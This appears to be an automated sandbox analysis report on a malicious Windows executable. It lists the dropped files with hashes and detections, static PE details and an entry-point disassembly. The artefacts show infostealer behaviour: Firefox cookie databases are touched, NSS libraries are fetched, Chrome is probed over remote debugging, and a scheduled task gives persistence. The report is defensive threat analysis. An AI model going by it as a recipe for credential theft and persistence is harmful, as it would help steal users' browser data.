SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1474560
Entropy (8bit):	7.958075428204074
Encrypted:	false
SSDEEP:	24576:6MbGWwsVerxYxRy971A3DNyLw1mI7/lVeRyZm5MoHrAfPruIEw8qHSGneH:pGM3G71q4k1mIBSyZEMoWXPSGeH
MD5:	485A7EFBF06ACFC20D5F25702279693C
SHA1:	6C4C01DD277B888B0C35E846300E8C166C20F3C6
SHA-256:	243D7358526424E40B7908CAD0DCD4346A9721A57EAB2E026945FECA2CD4CD50
SHA-512:	6F17C4698F2FD00DD09181FECC1DD2A73EAA7B7A218F8EA00CDC0CBCD0A3D37BD51928C457C02F647258F5D9E6BCE36EA4A2FB513209D30759A3A41F7A7A2A11
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Pg.............................PI...........@...........................I......"....@.................................\0..p.... .......................1...................................................................................... . .........2..................@....rsrc........ .......B..............@....idata .....0.......F..............@... .0*..@.......H..............@...uymjeulq.....p/......J..............@...qrjjzjvx.....@I.....................@....taggant.0...PI.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.379380065879917
Encrypted:	false
SSDEEP:	48:SfNaoQZTEQIfNaoQAJFQxfNaoQbb0E0KQbb0yfNaoQUAAY0E0UrU0U8QUX:6NnQZTEQUNnQ4QNNnQv0E0KQv0aNnQUI
MD5:	F540CCE6E36A119526981E6C246FD708
SHA1:	4165CB97615E233A1EA3E6B017C55CDC52203FB1
SHA-256:	D135D7231C6E1077E19C188841FB7A6A3D1BC0367DA586F20B1770D5A4DE4EAD
SHA-512:	2597DF9E485AC6AE560379FDE9BCEE9B9E2B5EBE84394EB019110CC88EC99965D18EA037885F8F2EBA1EB4874BEAFF6075CAE91073A027C39B1E5DF63EFD903A
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A6DD0DEAD8EB56F5C094011546B6C84E",.. "id": "A6DD0DEAD8EB56F5C094011546B6C84E",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A6DD0DEAD8EB56F5C094011546B6C84E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/781ECFB5A72D58EA9099E1FECD6D14BD",.. "id": "781ECFB5A72D58EA9099E1FECD6D14BD",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/781ECFB5A72D58EA9099E1FECD6D14BD"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Temp\1012819001\439191dd24.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1474560
Entropy (8bit):	7.958075428204074
Encrypted:	false
SSDEEP:	24576:6MbGWwsVerxYxRy971A3DNyLw1mI7/lVeRyZm5MoHrAfPruIEw8qHSGneH:pGM3G71q4k1mIBSyZEMoWXPSGeH
MD5:	485A7EFBF06ACFC20D5F25702279693C
SHA1:	6C4C01DD277B888B0C35E846300E8C166C20F3C6
SHA-256:	243D7358526424E40B7908CAD0DCD4346A9721A57EAB2E026945FECA2CD4CD50
SHA-512:	6F17C4698F2FD00DD09181FECC1DD2A73EAA7B7A218F8EA00CDC0CBCD0A3D37BD51928C457C02F647258F5D9E6BCE36EA4A2FB513209D30759A3A41F7A7A2A11
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Pg.............................PI...........@...........................I......"....@.................................\0..p.... .......................1...................................................................................... . .........2..................@....rsrc........ .......B..............@....idata .....0.......F..............@... .0*..@.......H..............@...uymjeulq.....p/......J..............@...qrjjzjvx.....@I.....................@....taggant.0...PI.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\JKKKJJJKJK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3232256
Entropy (8bit):	6.673094628385346
Encrypted:	false
SSDEEP:	49152:vRSDu59RrHW4W297ZnoYdrYJD9DAgyyod0Qqy7bWptqTP:vRf24W297Zno6rYJD9DpFTQqUaptqT
MD5:	4B0FCA9817C0405A34CB0B40D95D02E2
SHA1:	1FDE850EA432FDA63E14D0E9C1BABBB2531D2187
SHA-256:	67390D441EFBF466E1C1D5DF97641A792825EEF1B92A8B8F88A77D1AB94079F9
SHA-512:	E0C9E85B3B223090BFCD7AD6A2F24F1DF8EBCBBFE07649DF0C581085D2B1CB15565FA8BBA8394417439468D60C464F9BA4C94F6C48D91FE1B08DC0AD904222C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`1...........@...........................1.......1...@.................................W...k............................B1.............................\|B1..................................................... . ............................@....rsrc...............................@....idata ............................@...oocxjflm..........................@...kysdbyyn.....P1......*1.............@....taggant.0...`1.."...01.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\JKKKJJJKJK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3232256
Entropy (8bit):	6.673094628385346
Encrypted:	false
SSDEEP:	49152:vRSDu59RrHW4W297ZnoYdrYJD9DAgyyod0Qqy7bWptqTP:vRf24W297Zno6rYJD9DpFTQqUaptqT
MD5:	4B0FCA9817C0405A34CB0B40D95D02E2
SHA1:	1FDE850EA432FDA63E14D0E9C1BABBB2531D2187
SHA-256:	67390D441EFBF466E1C1D5DF97641A792825EEF1B92A8B8F88A77D1AB94079F9
SHA-512:	E0C9E85B3B223090BFCD7AD6A2F24F1DF8EBCBBFE07649DF0C581085D2B1CB15565FA8BBA8394417439468D60C464F9BA4C94F6C48D91FE1B08DC0AD904222C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`1...........@...........................1.......1...@.................................W...k............................B1.............................\|B1..................................................... . ............................@....rsrc...............................@....idata ............................@...oocxjflm..........................@...kysdbyyn.....P1......*1.............@....taggant.0...`1.."...01.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\JKKKJJJKJK.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4378501874746337
Encrypted:	false
SSDEEP:	6:VdbXUhXUEZ+lX1CGdKUe6tE9+AQy0lQut0:Dr4Q1CGAFD9+nV5t0
MD5:	5BB5E232A7973AC88DE9F712B293EF5A
SHA1:	4E0B50DB839C1F318C0B622AB7AD1C3F3AA64AB2
SHA-256:	A8273B0451E88FA9F127B543AE729BE6586816A6102DB4A7900F41F304A6A09A
SHA-512:	8F605C8D345E465AF24E189011DF4D3E568A0C6BA475C63B83EDD7236D7002058DD200B66E33D79C4C43C6E657BBDDB180482929744A14D65867F26E48EF3AA7
Malicious:	false
Preview:	....\|J1J.C.G..`....\F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	179299
Entropy (8bit):	5.547369532089825
Encrypted:	false
SSDEEP:	3072:eEBR1XAUw+9+in7oNRFhJpGOa9VMgoeSWInJ+LBIwK555ypuq/dP/JlpNMWzeAx+:eKR1tw+9+i7GFhJcOa/MgoeSWIJ+LBI/
MD5:	E51B78D04BF7FEADF2B7281088079FD5
SHA1:	47E0DCBBC95DA92A2B5E973C33200C3DD82E18A6
SHA-256:	7E8CC44AC8BED91DC83AF132CA1F374227C3A634F9020FFC66720C74A8DBAA53
SHA-512:	5377F671601862CBB506C1B33AA5F5ACAC2C451998C8A1A8E8C6754D2D11C96484483C081FB3A0407BAF1329D70F41ADE5CAB27993B6FA631384243BFC890813
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.b6tg1FFzATM.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTv_QWZGpfkLjSgGX6lavnloO0T86g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (778)
Category:	downloaded
Size (bytes):	783
Entropy (8bit):	5.124141919283189
Encrypted:	false
SSDEEP:	24:e5Iq/TqjPcdBHslgT9lCuABuoB7HHHHHHHYqmffffffo:e5t/guKlgZ01BuSEqmffffffo
MD5:	E89708724A169DC520B08FAFA780CDB5
SHA1:	E49A07C6D6A3597D12CD389E041FF88A07FB4B52
SHA-256:	8CA5DA2203896576A3D9A9F8A8A4DBAEFCB1B00F35E5699F1A7347F14C553771
SHA-512:	DFB01FB9B292129C5D5E01093843B62EED390BBD6080F17323AB38C31363BFB4CB94E648EC478B7FE23B790C7EBA9917A034820EFC1ED0BAF412766589D6180D
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["final jeopardy today","college football playoff","social security changes 2025","marvel rivals release time","nurse hannah hiatt","zombies citadelle des morts swords","luis severino contract","rockstar games gta 6 trailer"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	134253
Entropy (8bit):	5.441967870157285
Encrypted:	false
SSDEEP:	3072:fXkX33ov7GsG688fJbk/5xnsHLWjwR2i6o:f43lr6t2/5xnsHawR8o
MD5:	25AD5D1D30346BE9A58CAB2EA20BF068
SHA1:	13E64DEA5186276AACAAF11A24BD80525CB9C9CD
SHA-256:	390CFF5F4D62A72AB74162A500126646898AC4F1EF8E18157D04670D3CEF28D9
SHA-512:	DD913213F7B535C1BA964206C0C0A29536DFA46CFDA838312619E0D6FC35904A7674257AEA4F29CCD3916837262C05C74B44B704D0629A6591A2243B0394D34E
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.507912998386587
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	5'192'704 bytes
MD5:	4f838339f38f07f8a4faebabbc11477b
SHA1:	d2104c8592655633b229ce43e67878cbb02a4764
SHA256:	3be7b559446ef4570ec153c4e898b327a359577fbeaeb74fc159e8284504646a
SHA512:	c2ae1ddcd9ef70bb0083c0b8ea4b3d422dec56cb0509323f3b4bdff768a5d0243e548e8a137208e1f8d1e6c295f329742546aff21d32897e97dac6cd788a1aa2
SSDEEP:	49152:lgrSL5fuS/Ch3/qW004n/+GiPs2qAOiRkzmyqadQ3Kl6tw2dtN:io2S/Ch3/qWB4n/niEzh6kzmyqk4tN
TLSH:	2D3639B1B50D61CFD08B6A749627CDC2991E46B507144EF3AC68A4BF7E62CCC12BDC29
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........PE..L...<.Jg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8f5000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674AE73C [Sat Nov 30 10:21:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDA11066F7Ah
hint_nop dword ptr [edi+00h]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FDA11068F75h
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007FDA11066FE2h
push esi
dec edx
popad
je 00007FDA11066FDBh
push edx
dec esi
jc 00007FDA11066FEAh
cmp byte ptr [ebx], dh
push edx
jns 00007FDA11066FB7h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007FDA11066FBDh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007FDA11066FC7h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007FDA11066FBCh
dec eax
dec ebp
jo 00007FDA11066FB3h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007FDA11066FC0h
insd
jnc 00007FDA11066FE0h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007FDA11066FC8h
push edx
insb
js 00007FDA11066FE1h
outsb
inc ecx
jno 00007FDA11066FC2h
push ebp
inc esi
pop edx
